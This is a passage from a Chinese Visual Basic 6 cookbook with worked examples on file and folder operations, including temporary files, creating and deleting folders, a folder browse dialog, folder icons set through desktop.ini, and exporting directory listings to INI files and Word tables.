	确定鼠标指针当前位置的数值。x和y值由对象的ScaleHeight、ScaleWidth、ScaleLeft和ScaleTop属性设置的坐标系统的格式来表示




例如，选中某文件并进行拖动，将被选中的文件名称添加至文本框中，代码如下：



Private Sub Text1_OLEDragDrop(Data As DataObject, Effect As Long, Button As Integer, Shift As Integer, X As Single, Y As Single)
    Dim ThisFile As Variant                                        '声明变量类型变量
    For Each ThisFile In Data.Files                                    '变量Files集合
        Text1.Text = Text1.Text & vbNewLine & ThisFile                        '在文件名称添加至文本框中
    Next
End Sub




设计过程

（1）新建标准EXE工程。

（2）在窗体中添加一个ListBox控件，命名为List1。将List1的OLEDropMode属性设置为1-Manual。

（3）在ListBox控件List1的OLEDragDrop事件过程中，通过对参数Data的Files集合的遍历，将文件的名称添加至列表框中，代码如下：



Private Sub List1_OLEDragDrop(Data As DataObject, Effect As Long, Button As Integer, Shift As Integer, X As Single, Y As Single)
    Dim ThisFile As Variant                                        '声明变量类型变量
    For Each ThisFile In Data.Files                                    '变量Files集合
        List1.AddItem ThisFile                                        '在列表框中添加文件名称
    Next
End Sub




秘笈心法

心法领悟521：实现防止将重复项添加到列表框中。

为了防止将重复项添加到列表框中，必须在将新项目添加到列表之前检查一下。检查的方法其实非常简单，只要将列表框控件的Text属性设置为欲添加的列表项内容，如果此时ListIndex属性值为-1就说明欲添加列表项内容在列表框控件中没有出现过。



 实例522　创建临时文件

光盘位置：光盘\MR\16\522

中级

趣味指数：[image: ]




实例说明

在应用程序中经常带有一些资源文件，当需要使用这些资源时，一般是将资源以临时文件的形式进行释放。在这里以结合实例的方式对创建临时文件的方法进行介绍。例如，将资源中的图片生成临时文件，并对临时文件中的图像进行加载，程序的运行效果如图16.56所示。

[image: ]
图16.56　创建临时文件



关键技术

创建临时文件的步骤分为两步，分别是获取操作系统临时文件夹路径、在临时文件夹中创建临时文件。

（1）获取操作系统临时文件夹路径

获取操作系统临时文件夹路径通过使用API函数GetTempPath实现，语法如下：



Public Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long




返回值：Long，装载到lpBuffer的字符数。如当前缓冲区的长度不够，不能容下整个路径，则返回lpBuffer需要的长度。0表示失败。

参数说明

❶nBufferLength：类型Long，lpBuffer字串的长度。

❷lpBuffer：类型String，用于装载临时文件路径的一个预初始化字串。

例如，在下面代码中将获取的临时文件夹路径保存至变量TempPath中。



Dim str As String * 255
Dim TempPath As String
GetTempPath Len(str), str
TempPath = Trim(Replace(str, Chr(0), ""))




（2）创建临时文件

在临时文件夹中创建临时文件通过使用API函数GetTempFileName实现，语法如下：



Public Declare Function GetTempFileName Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long




返回值：类型Long，最终用于生成文件名的wUnique数字的值。如wUnique参数不为0，这就是参数的值。0表示失败。

参数说明如表16.11所示。

表16.11 API函数GetTempFileName的参数说明



	参数
	说明



	lpszPath
	String，临时文件使用的目录。通常用GetTempPath函数获得



	lpPrefixString
	String，要使用的文件名前缀。前3个字符作为文件名前缀使用



	wUnique
	Long，追加到前缀字串后面的数字。如果为0，则这个函数会用一个随机数字生成文件。随后，它会检查是否存在同名的文件。如果存在，函数会增加这个数字，并继续尝试，直到生成一个独一无二的名字为止。文件在驱动器上会以长度为0字节的形式保存。如果不为0，就不会创建文件，而且函数不会核实它是否是一个独一无二的文件名



	pTempFileName
	String，用于装载新建临时文件名的缓冲区，这个缓冲区的长度至少应为MAX_PATH个字符




例如，在C盘根目录下创建前缀为Pic，后缀为系统随机生成的数字，代码如下：



Dim TempFileName As String * 255                                '声明定长字符串
Dim TempName As String                                        '声明字符串类型变量
Ret = GetTempFileName("c:\", "Pic", 0, TempFileName)                    '创建临时文件
TempName = Left$(TempFileName, InStr(TempFileName, Chr(0)) - 1)            '去除定长字符串中多余部分




设计过程

（1）新建标准EXE工程。

（2）在窗体中添加两个CommandButton控件，分别命名为Cmd_Close、Cmd_View。Cmd_Close的Caption 属性为“关闭”；Cmd_View的Caption属性为“浏览”。

（3）在窗体中添加一个PictureBox控件，命名为Picture1。

（4）创建自定义函数GetTempPathStr，用于获取系统临时文件夹路径，代码如下：



Private Function GetTempPathStr() As String
    Dim str As String * 255                                    '声明定长字符串
    GetTempPath Len(str), str                                    '获取临时文件夹路径
    GetTempPathStr = Trim(Replace(str, Chr(0), ""))                        '去除定长字符串中多余部分
End Function




创建自定义函数GetTempName，用于生成临时文件。该自定义函数具有两个形式参数，分别用于传递文件名前缀、指定前缀字符串后的数字。自定义函数代码如下：



Private Function GetTempName(lpPrefixString As String, wUnique As Long) As String
    Dim TempFileName As String * 255                                '声明定长字符串
    Dim Ret As Long                                        '声明长整型变量
    Dim DriveName As String                                    '声明字符串类型变量
    DriveName = GetTempPathStr                                '变量赋值
    '创建临时文件
    Ret = GetTempFileName(DriveName, lpPrefixString, wUnique, TempFileName)
    '去除定长字符串中多余部分
    GetTempName = Left$(TempFileName, InStr(TempFileName, Chr(0)) - 1) 
End Function




在CommandButton控件Cmd_View的Click事件中，调用自定义函数GetTempName生成临时文件，并显示文件中的图像，代码如下：



Private Sub Cmd_View_Click()
    On Error Resume Next                                        '忽略异常
    TempFilePath = GetTempName("bcc", 0)                            '创建前缀为bcc，后缀随机生成的临时文件
    CreateTempFile                                            '自定义过程，用于将资源释放至临时文件
    Picture1.Picture = LoadPicture(TempFilePath)                        '加载临时文件中的图像
    MsgBox "生成临时文件：" & TempFilePath                        '弹出对话框提示临时文件路径
    Kill TempFilePath                                        '删除临时文件
    MsgBox "临时文件已被删除"                                '提示文件被删除
End Sub




秘笈心法

心法领悟522：临时文件的删除。

使用API函数GetTempName创建的临时文件不会被Windows自动删除，需要通过代码的方式将其删除。


第17章　文件夹操作

文件夹基本操作

文件夹应用






 17.1　文件夹基本操作



 实例523　利用MkDir语句创建文件夹

光盘位置：光盘\MR\17\523

初级

趣味指数：[image: ]




实例说明

本实例实现了利用MkDir语句创建文件夹。运行程序，在文本框中输入的字符串为“D:\mrkj”，单击“创建文件夹”按钮，就会在指定的路径上创建指定名称的文件夹，程序的运行效果如图17.1所示。

[image: ]
图17.1　利用MkDir 语句创建文件夹



关键技术

本实例主要是通过利用MkDir语句创建文件夹来实现的，语法 如下：



MkDir Path




其中，Path中包括被创建文件夹所在路径和文件夹名称，代码如下：



MkDir "D:\mrkj"




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，Caption属性设置为“利用MkDir语句创建文件夹”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Label控件，Caption属性设置为“请输入创建文件夹的路径及名称：”；在窗体上添加一个TextBox控件，名称使用默认名称，Text属性设置为D:\mrkj。

（4）在窗体上添加一个CommandButton控件，将Caption属性设置为“创建文件夹”。

（5）程序的运行代码如下：



Private Sub Command1_Click()
    On Error Resume Next
    MkDir Text1.Text
    MsgBox "已经在D盘根目录下创建mrkj文件夹！"
End Sub




秘笈心法

心法领悟523：初始文件小知识。

文件是存储在外部介质上的数据或信息的集合，用来永久保存大量的数据。计算机中的程序和数据都是以文件的形式进行存储的。大部分的文件都存储在诸如硬盘驱动器、磁盘和磁带等辅助设备上，并由程序读取和保存。在程序运行过程中所产生的大量数据，往往也都要输出到磁盘介质上进行保存。



 实例524　利用FSO对象创建文件夹

光盘位置：光盘\MR\17\524

中级

趣味指数：[image: ]




实例说明

本实例实现了利用FSO对象创建文件夹。运行程序，在文本框中输入要创建的文件夹的名称（这里为mrsoft），然后单击“创建”按钮，即可在工程所在路径下创建一个名为mrsoft的文件夹，程序的运行效果如图17.2所示。

[image: ]
图17.2　利用FSO对象创建文件夹



关键技术

利用FSO对象可以实现很多和文件相关的操作。下面介绍利用FSO创建文件夹的方法。在使用FSO对象前需要先通过选择“工程”/“引用”命令，在弹出的对话框中选择Microsoft Scripting Runtime选项将该对象引用到VB工程中。利用FSO对象的CreateFolder方法来创建文件夹。该方法的语法如下：



CreateFolder(foldername)




其中，foldname为要创建的文件夹名。


注意：
 如果要创建的文件夹已经存在，那么将产生一个58号错误，即文件夹已经存在的错误。这里利用弹出对话框的形式对该错误进行处理。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“利用FSO对象创建文件夹”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Frame控件，名称使用默认名称Frame1，Caption属性设置为“利用FSO对象创建文件夹”。

（4）在Frame1控件上添加一个Label控件，Caption属性设置为“输入要创建的文件夹的名称”；在Frame1控件上添加一个TextBox控件，用于输入文件夹的名称；在Frame1控件上添加两个CommandButton控件，Caption属性分别设置为“创建”和“退出”。

（5）程序的运行代码如下：



Private Sub Command1_Click()    '确定创建文件夹的按钮
    Dim FSO As FileSystemObject
    Set FSO = CreateObject("scripting.filesystemobject")
    On Error GoTo MyErr
    If Text1.Text = "" Then
        MsgBox "请输入要创建的文件夹名称", vbInformation, "明日图书"
    Else
        FSO.CreateFolder (App.Path & "\" & Text1.Text)
        MsgBox "文件夹已经成功建立!", 64, "提示信息"
        Exit Sub
    End If
MyErr:
    If Err.Number = 58 Then MsgBox Err.Description, vbInformation, "明日图书"
End Sub




秘笈心法

心法领悟524：获取应用程序所在的目录小知识。

利用App对象的Path属性可以获取应用程序所在的目录，代码如下：



Private Sub Form_Load()
    Text1.Text = App.Path
End Sub






 实例525　根据数据库数据建立文件夹

光盘位置：光盘\MR\17\525

高级

趣味指数：[image: ]




实例说明

本实例根据数据表中姓名字段中的数据信息动态地创建文件夹。运行程序，在“客户姓名信息”列表中选择客户信息后，单击“创建文件夹”按钮，系统将自动为选中的客户姓名建立一个文件夹，并保存到程序所在路径下的ProgFiles文件夹中，实例运行结果如图17.3所示。

[image: ]
图17.3　根据数据库数据建立文件夹



关键技术

在应用程序中引用Microsoft Scripting Runtime文件对象。利用文件对象的CreateFolder方法完成动态创建文件夹的操作。

文件对象的CreateFolder方法：完成一个创建文件夹的操作，语法如下：



object.CreateFolder(foldername)




参数说明

❶object：必选参数。始终是一个FileSystemObject的名字。

❷foldername：必选参数。字符串表达式，它标识创建的文件夹。


注意：
 如果指定的文件夹已经存在，会弹出一个文件已经存在的提示信息。

设计过程

（1）新建一个标准工程，创建一个新窗体，设置“名称”属性为frm_file。

（2）选择“工程”/“引用”命令，在“引用”对话框中选中Microsoft ActiveX Data Objects 2.5 Library和Microsoft Scripting Runtime复选框，单击“确定”按钮。

（3）在窗体上添加一个Frame控件，设置Caption属性为空。在Frame1控件中添加一个ListView控件，设置View属性为3-lvwReport。该控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，选中Microsoft Windows Common Control 6.0（SP6）复选框，单击“确定”按钮。此时，几个新的控件将出现在工具箱中，其中一个就是ListView控件。

（4）在ListView控件上单击鼠标右键，在弹出的快捷菜单中选择“属性”命令，在打开的“属性页”对话框中选择“通用”选项卡，选中“网格行”和“热跟踪”等复选框；然后选择“列首”选项卡，为控件添加一个显示姓名信息列“客户姓名信息”。

（5）在窗体上添加一个ImageList控件；添加两个CommandButton控件，设置Caption属性分别为“创建文件夹”和“关闭”。

（6）在窗体上添加一个ADO控件。该控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，然后选中Microsoft ADO Data Control 6.0（SP4）（OLEDB）复选框，单击“确定”按钮。此时，ADO控件将出现在工具箱中。

（7）主要程序代码如下：



Private Sub Command1_Click()
On Error GoTo X:
  Strs = ListView1.SelectedItem
  Strss = App.Path & "\ProgFiles\" & Strs
  fs.CreateFolder (Trim(Strss))
  MsgBox "文件夹已经成功建立!", 64, "提示信息"
  Exit Sub
X:
  MsgBox "该文件夹已经存在", 48, "提示信息"
End Sub




秘笈心法

心法领悟525：利用CurDir函数返回当前的路径。

利用CurDir函数可以返回当前的路径，该路径值与利用App.Path返回的路径是完全一致的，下面的代码实现的即为利用CurDir函数返回当前的路径，程序代码如下：



Private Sub Command1_Click()    '获取
    Dim MyPath As String
    MyPath = CurDir
    Label1.Caption = "当前路径为：" & vbCrLf & MyPath
End Sub






 实例526　删除文件夹

光盘位置：光盘\MR\17\526

初级

趣味指数：[image: ]




实例说明

本实例的功能是删除文件夹。运行程序，单击<<按钮，选择要删除的文件夹，然后单击“删除”按钮，此时会弹出提示信息对话框，单击“确定”按钮，即可将该文件夹删除，如图17.4所示。

[image: ]
图17.4　删除文件夹



关键技术

要想删除文件夹可以利用文件对象的DeleteFolder方法完成文件的删除操作。该方法可以将文件夹和文件夹中的内容全部删除，并不对文件夹中是否有内容进行判断。由于DeleteFolder方法是FSO对象的方法，所以在使用该方法前需要对FSO对象进行引用。通过选择VB菜单中的“工程”/“引用”命令，在弹出的“引用”对话框中选择Microsoft Scripting Runtime对象库，单击“确定”按钮，即可将该对象引用。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“删除文件夹”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Frame控件，名称使用默认名称Frame1。

（4）在Frame1控件上添加一个Label控件，Caption属性设置为“选择文件所在的文件夹”；在Frame1控件上添加一个TextBox控件；在Frame1控件上添加3个CommandButton控件，Caption属性分别设置为“删除”、“退出”和“<<”；

（5）程序的运行代码如下：



Dim STStr As String
Dim SSTr As String
Dim fso As New FileSystemObject
Private Sub Command1_Click()
    Dim FPaths As String
    FPaths = FPath$(Me.hWnd, "浏览系统文件夹")
    Text1.Text = FPaths
End Sub
Private Sub Command2_Click()
    Dim c As Integer
    Call RiStr
    c = MsgBox("确认将该文件夹删除吗?", 17, "提示信息")
    If c = vbOK Then
        fso.DeleteFolder Text1.Text         '删除文件夹
        MsgBox "文件夹已经被成功删除!", 64, "提示信息"
    End If
End Sub
Private Sub RiStr()
    Dim YWJ, MWJ, L As String, S As String * 1, ASCIIN, i As Integer
    MWJ = ""
    YWJ = RTrim$(Text1.Text)
    L = Len(YWJ)
    For i = 1 To L
        S = Right$(YWJ, i)
        If Left$(S, 1) = "\" Then
            Dim RStr As String
            RStr = Right$(YWJ, i - 1)
            SSTr = Mid(Text1.Text, 1, Len(Text1.Text) - Len(RStr))
            Exit Sub
        End If
    Next i
End Sub




秘笈心法

心法领悟526：获取C盘下的所有文件。

利用FileSystemObject对象中的Folder对象的Files属性来获取C:\目录下的所有文件，程序代码如下：



Private Sub Command1_Click()
    Dim MyFSO As New FileSystemObject
    Dim MyFolder As Folder
    Dim MyFile As File
    Set MyFolder = MyFSO.GetFolder("C:\")
    Label2.Caption = "C:\下的文件有："
    For Each MyFile In MyFolder.Files
        Label1.Caption = Label1.Caption & MyFile.Name & vbCrLf
    Next
End Sub






 实例527　使用递归法删除文件夹

光盘位置：光盘\MR\17\527

高级

趣味指数：[image: ]




实例说明

本实例实现了使用递归法删除一棵目录树。运行程序，在“文件夹路径”文本框中输入要删除的文件夹所在的路径，单击“删除”按钮，删除该文件夹，程序的运行效果如图17.5所示。

[image: ]
图17.5　使用递归法删除一棵目录树



关键技术

使用递归法删除目录树的思路如下：先删除指定文件夹内所有的文件，然后进入该文件夹内的子文件夹，并删除子文件夹内的所有文件。依此类推，将目录树内所有文件删除，最后将指定的文件夹删除。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“使用递归法删除一棵目录树”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件，分别设置Caption属性为“文件夹路径”；添加一个TextBox控件，用于输入文件夹的路径；添加一个CommandButton控件，Caption属性设置为“删除”。

（4）程序的运行代码如下：



Private Sub diguidel(CurrPath As String)
    Dim dgFileName As String
    Dim newPath As String
    Dim dgPath As String
    dgPath = CurrPath & "\"
    dgFileName = Dir(dgPath, 31)
    '31的含义31=vbNormal+vbReadOnly+vbHidden+vbSystem+vbVolume+vbDirectory
    Do While dgFileName <> ""
        If dgFileName <> "." And dgFileName <> ".." Then '如果文件夹不为空
            If GetAttr(dgPath & dgFileName) And vbDirectory Then 
            '如果文件夹有子文件夹就重新调用该过程
                newPath = dgPath & dgFileName       '子文件夹路径
                diguidel newPath                '以子文件夹路径为参数调用该过程
                dgFileName = Dir(dgPath, 31)           '获得子文件夹内文件或文件夹名
            Else
                SetAttr dgPath & dgFileName, vbNormal 
                Kill (dgPath & dgFileName)           '删除文件
                dgFileName = Dir                '重新获取要删除的文件名
            End If
        Else
            dgFileName = Dir
        End If
        DoEvents
    Loop
    SetAttr CurrPath, vbNormal
    RmDir CurrPath
End Sub




秘笈心法

心法领悟527：获取文件的最后访问时间。

在获取文件的最后访问时间时，同样是利用API函数来实现的。这里创建一个模块，并引入API函数和类型。其中窗体中的代码基本相同，不同的代码如下：



Call FileTimeToSystemTime(FileInfo.ftLastAccessTime, fTime)
dtAccess = DateSerial(fTime.wYear, fTime.wMonth, fTime.wDay) + TimeSerial(fTime.wHour, fTime.wMinute - Bias, fTime.wSecond)
Label1.Caption = "该文件的最后访问时间为：" & dtAccess






 实例528　选择文件夹

光盘位置：光盘\MR\17\528

高级

趣味指数：[image: ]




实例说明

本实例通过选择硬盘中的文件夹，然后将该文件夹的路径显示出来。运行程序，单击“选择文件夹”按钮，在弹出的“浏览文件夹”对话框中选择文件夹，单击“确定”按钮，文件夹的完整路径就会显示在窗体上，程序的运行效果如图17.6所示。

[image: ]
图17.6　选择文件夹



关键技术

在实际的使用中利用CommonDialog控件和文件系统控件，可以很容易地选中需要的文件，但是如果想选择文件夹，利用CommonDialog控件就不能实现了。本实例主要使用Win32的API函数实现了选择文件夹的功能。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“选择文件夹”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Frame控件，名称使用默认名称Frame1，Caption属性设置为“选择文件夹”。

（4）在Frame1控件上添加一个Label控件，用于显示选择文件夹的路径；在Frame1控件上添加两个CommandButton控件，Caption属性分别设置为“选择文件夹”和“关闭退出”。

（5）程序的运行代码如下：



Private Type BrowseInfo
    hWndOwner As Long
    pIDLRoot As Long
    pszDisplayName As Long
    lpszTitle As Long
    ulFlags As Long
    lpfnCallback As Long
    lParam As Long
    iImage As Long
End Type
Private Const BIF_RETURNONLYFSDIRS = 1
Private Const MAX_PATH = 260
Private Declare Sub CoTaskMemFree Lib "ole32.dll" (ByVal hMem As Long)
Private Declare Function lstrcat Lib "kernel32" Alias "lstrcatA" (ByVal lpString1 As String, ByVal lpString2 As String) As Long
Private Declare Function SHBrowseForFolder Lib "shell32" (lpbi As BrowseInfo) As Long
Private Declare Function SHGetPathFromIDList Lib "shell32" (ByVal pidList As Long, ByVal lpBuffer As String) As Long
Public Function SelectFolder(hWndOwner As Long, sPrompt As String) As String
    Dim iNull As Integer
    Dim lList As Long
    Dim lResult As Long
    Dim sPath As String
    Dim MyBI As BrowseInfo
    With MyBI
        .hWndOwner = hWndOwner
        .lpszTitle = lstrcat(sPrompt, "")
        .ulFlags = BIF_RETURNONLYFSDIRS
    End With
    lList = SHBrowseForFolder(MyBI)
    If lList Then
        sPath = String$(MAX_PATH, 0)
        lResult = SHGetPathFromIDList(lList, sPath)
        Call CoTaskMemFree(lList)
        iNull = InStr(sPath, vbNullChar)
        If iNull Then sPath = Left(sPath, iNull - 1)
    End If
    SelectFolder = sPath
End Function
Private Sub Command1_Click()
    Dim sFolder As String
    sFolder = SelectFolder(Me.hWnd, "请选择目录")
    Label1.Caption = "您选择的目录是：" & vbCrLf & sFolder
End Sub




秘笈心法

心法领悟528：更改文件名。

利用Name语句可以重命名一个文件、目录或文件夹，语法如下：



Name oldpathname As newpathname




Name语句可重新命名文件并将其移动到一个不同的目录或文件夹中，程序代码如下：



Private Sub Command1_Click()
    Dim OldName, NewName
    OldName = Text1: NewName = Text2   '定义文件名
    Name OldName As NewName
End Sub





 17.2　文件夹应用



 实例529　更改文件夹图标

光盘位置：光盘\MR\17\529

高级

趣味指数：[image: ]




实例说明

在Windows操作系统中可以实现更改文件夹图标的功能，但其操作比较繁琐，本实例实现的是如何在应用程序中更改文件夹的图标。运行程序，单击<<按钮选择要更改图标的文件夹所在的路径，然后选择要设置的Ico图标，单击“确定更改”按钮，所选中文件夹的图标将被修改，程序的运行效果如图17.7所示。

[image: ]
图17.7　更改文件夹图标



关键技术

将相关的资源放在资源文件当中，通过调用用户自定义的函数修改文件夹的图标，具体实现请参见代码。

设计过程

（1）新建一个标准工程，创建一个新窗体，设置“名称”属性为frmMain。

（2）在frmMain窗体上添加一个Frame控件，设置Caption属性为“Ico图标”。

（3）在Frame1控件中添加两个Frame控件，默认“名称”属性为Frame2和Frame3，设置Caption属性 为空。

（4）在Frame2和Frame3控件中各添加一个CommandButton控件和一个PictureBox控件，Caption属性分 别设置为“还原默认值”和“选择新图标”；添加一个HScrollBar控件。

（5）在frmMain窗体上添加3个CommandButton控件，分别设置Caption属性为“<<”、“确定更改”和“退出”。

（6）在frmMain窗体上添加一个Label控件，将控件的BackColor属性值设置为&H80000005&， BorderStyle属性设置为1-Fixed Single。

（7）在frmMain窗体上添加一个CommonDialog控件。设置“名称”属性为dlgFolder。

（8）选择“工程”/“添加窗体”命令，在工程中创建一个新窗体，设置“名称”属性为frmFolder。

（9）在frmFolder窗体上添加一个DriveListBox控件、一个DirListBox控件和一个CommandButton控件。

（10）主要程序代码如下：



Private Sub cmdChange_Click()
   Dim IniFile As String
   Dim LinesArrayUbound As Integer
   Dim t As Integer
   Dim f As Integer
   Dim NoDesktopINI As Boolean
   f = FreeFile
   IniFile = FolderSelected & "\desktop.ini"
   If FileExists(IniFile) Then NoDesktopINI = False Else NoDesktopINI = True
   Open IniFile For Output As #f
   If NoDesktopINI Then
      ReDim DesktopINI.Lines(3)
      DesktopINI.Lines(1) = "[.ShellClassInfo]"
      DesktopINI.Lines(2) = "IconFile=" & Chr$(34) & picNew.Tag & Chr$(34)
      DesktopINI.Lines(3) = "IconIndex=" & hscIcons.Value
   ElseIf Not NoDesktopINI And DesktopINI.TagStartLine = 0 Then
      LinesArrayUbound = UBound(DesktopINI.Lines)
      ReDim Preserve DesktopINI.Lines(LinesArrayUbound + 3)
      DesktopINI.Lines(LinesArrayUbound + 1) = "[.ShellClassInfo]"
      DesktopINI.Lines(LinesArrayUbound + 2) = "IconFile=" & Chr$(34) & picNew.Tag & Chr$(34)
      DesktopINI.Lines(LinesArrayUbound + 3) = "IconIndex=" & hscIcons.Value
   ElseIf Not NoDesktopINI And DesktopINI.TagStartLine <> 0 And DesktopINI.IconFileLine = 0 Then
      LinesArrayUbound = UBound(DesktopINI.Lines)
      ReDim Preserve DesktopINI.Lines(LinesArrayUbound + 2)
      For t = LinesArrayUbound To DesktopINI.TagStartLine + 1 Step -1  'move all text lines in array 2 indexes higher - free space for inserting values
         DesktopINI.Lines(t + 2) = DesktopINI.Lines(t)
      Next t
      DesktopINI.Lines(DesktopINI.TagStartLine + 1) = "IconFile=" & Chr$(34) & picNew.Tag & Chr$(34)
      DesktopINI.Lines(DesktopINI.TagStartLine + 2) = "IconIndex=" & hscIcons.Value
   ElseIf Not NoDesktopINI And DesktopINI.TagStartLine <> 0 And DesktopINI.IconFileLine <> 0 Then
      DesktopINI.Lines(DesktopINI.IconFileLine) = "IconFile=" & Chr$(34) & picNew.Tag & Chr$(34)
      DesktopINI.Lines(DesktopINI.IconIndexLine) = "IconIndex=" & hscIcons.Value
   End If
   LinesArrayUbound = UBound(DesktopINI.Lines)
   For t = 1 To LinesArrayUbound
      Print #1, DesktopINI.Lines(t)
   Next t
   Close #f
   SetAttr FolderSelected, vbSystem
   SetAttr IniFile, vbHidden
   LoadFolderData
End Sub





注意：
 本实例的代码比较多，限于篇幅，这里只给出部分代码，实现的运行效果及全部代码请读者参阅光盘。

秘笈心法

心法领悟529：一个字符一个字符地写入文件。

实现将文本框中的信息写入到ini文件中，还可以利用Print #语句和循环结构实现一个字符一个字符地向ini文件中写入，程序代码如下：



Private Sub Command1_Click()
    Dim i As Integer
    Open App.Path & "\MyFile.ini " For Output As #1
    For i = 1 To Len(Text1.Text)
        Print #1, Mid(Text1.Text, i, 1);
    Next i
    Close #1
    MsgBox "已经将信息写入指定的文件夹！", vbInformation, "明日图书"
End Sub






 实例530　保存文件夹目录到INI文件

光盘位置：光盘\MR\17\530

高级

趣味指数：[image: ]




实例说明

本实例演示的是如何将文件夹目录保存到INI文件当中。运行程序，选择要保存的文件夹目录所在的路径，单击“保存”按钮，即可将所选择的文件夹目录保存到程序根目录下的Files.ini文件当中。打开Files.ini文件，即可看到保存的文件夹目录信息，程序的运行效果如图17.8所示。

[image: ]
图17.8　保存文件夹目录到INI文件



关键技术

本实例主要用到了Dir1控件的ListCount属性。


说明：
 ListCount属性的详细讲解请参见实例341中的关键技术。

设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体上添加一个Frame控件，设置Caption属性为空。

（3）在Frame1控件中添加一个DriveListBox控件和一个DirListBox控件。

（4）在窗体上添加两个CommandButton控件，Caption属性分别设置为“保存”和“退出”。

（5）主要程序代码如下：



Private Sub Command1_Click()
    irecordcount = Dir1.ListCount
    Call iniFile
End Sub
Private Sub iniFile()
   Dim Tstr As String
   Open (App.Path & "\Files.ini") For Output As #1
      For i = 0 To irecordcount + 1
         If i = 0 Then
           Tstr = Dir1.List(i)
         Else
            Tstr = Tstr + Chr(13) + Chr(10) & Dir1.List(i)
         End If
      Next i
         Print #1, Tstr
         MsgBox "文件目录保存成功!", 64, "提示信息"
   Close #1
       Tstr = ""
 End Sub




秘笈心法

心法领悟530：FSO对象模型小知识。

FSO（FileSystemObject）对象模型提供了一个基于对象的工具来处理文件夹和文件。这使得处理文件夹和文件除了使用VB提供的函数或使用Windows API函数以外，又多了一种方法。

FSO对象模型包含在Scripting类型库（Scrrun.dll）中。该对象并不是VB的内置对象，在使用之前首先应将其引用到工程中。方法为：选择“工程”/“引用”命令，打开“引用”对话框，选中Microsoft Scripting Runtime复选框，单击“确定”按钮。



 实例531　提取文件及文件夹的目录

光盘位置：光盘\MR\17\531

中级

趣味指数：[image: ]




实例说明

如果计算机上的文件和文件夹较多，且经常使用。可以将计算机上的文件及文件夹提取出来，以提高效率。手工进行提取这些信息是非常费时费力的。通过本实例可以很方便地将文件或文件夹目录信息提取到Word表格当中。运行程序，选择要提取的文件或文件夹所在的路径，并设置提取的是文件夹目录信息还是文件目录信息，单击“提取”按钮将信息提取到Word表格当中，程序的运行效果如图17.9所示。

[image: ]
图17.9　提取文件及文件夹的目录



关键技术

引用Word对象，在窗体上创建Word对象，通过Word对象的Cell方法向Word表格中写入数据信息，实现提取文件目录或文件夹目录信息。

本实例中提取文件目录信息到Word文档的语句如下：



atable.Cell(i + 2, 1).Range.InsertAfter Mid(Dir1.List(i), Len(Label1.Caption) + 2, Len(Dir1.List(i)))




提取文件夹目录信息到Word文档的语句如下：



atable.Cell(i + 2, 1).Range.InsertAfter Dir1.List(i)




设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体上添加两个Frame控件，默认“名称”属性为Frame1和Frame2，设置Caption属性为空。

（3）在Frame1控件中添加一个DriveListBox控件、一个DirListBox控件和一个FileListBox控件。

（4）在Frame2控件中添加两个OptionButton控件和一个CheckBox控件，设置Caption属性值分别为“提取文件名”、“提取文件夹名”和“是否要文件夹的完整路径”。

（5）在窗体上添加一个Label控件、一个TextBox控件及两个CommandButton控件，分别设置CommandButton控件的Caption属性为“提取”和“退出”。

（6）主要程序代码如下：



Private Sub Command1_Click()
  Dim ifieldcount As Integer, irecordcount As Integer
  Dim wdapp As Word.Application
  Dim wddoc As Word.Document
  Dim atable As Word.Table
  If Option1.Value = True Then
    irecordcount = Dir1.ListCount
    '创建Word应用程序，这一句话打开Word 2000
    Set Wdapp = CreateObject("Word.Application")
    '在Word中添加一个新文档
    Set Wddoc = wdapp.Documents.Add
    With wdapp
    .Visible = True
    .Activate
    '在Word中增加一个表格
    Set atable = .ActiveDocument.Tables.Add(.Selection.Range, irecordcount + 1, 2)
    atable.Cell(1, 1).Range.InsertAfter "文件夹名"
    atable.Cell(1, 2).Range.InsertAfter "说明"
    '指定表格内容
    For i = 0 To irecordcount + 1
    If Check1.Value = 1 Then
      atable.Cell(i + 2, 1).Range.InsertAfter Dir1.List(i)
    Else
      atable.Cell(i + 2, 1).Range.InsertAfter Mid(Dir1.List(i), Len(Label1.Caption) + 2, Len(Dir1.List(i)))
    End If
    Next i
    End With
    '清除Word对象
    Set wdapp = Nothing
    Set wddoc = Nothing
  Else
    irecordcount = File1.ListCount
    '创建Word应用程序，这一句话打开Word 2000
    Set wdapp = CreateObject("Word.Application")
    '在Word中添加一个新文档
    Set wddoc = wdapp.Documents.Add
    With wdapp
    .Visible = True
    .Activate
    '在Word中增加一个表格
    Set atable = .ActiveDocument.Tables.Add(.Selection.Range, irecordcount + 1, 3)
    atable.Cell(1, 1).Range.InsertAfter "文件名"
    atable.Cell(1, 2).Range.InsertAfter "文件类型"
    atable.Cell(1, 3).Range.InsertAfter "说明"
    '指定表格内容
    For i = 0 To irecordcount + 1
        RightFile       '调用提取文件扩展名的过程
        atable.Cell(i + 2, 1).Range.InsertAfter File1.List(i)
        atable.Cell(i + 2, 2).Range.InsertAfter RightStr
        RightStr = ""
    Next i
    End With
    '清除Word对象
    Set wdapp = Nothing
    Set wddoc = Nothing
  End If
End Sub




秘笈心法

心法领悟531：FileSystemObject对象小知识。

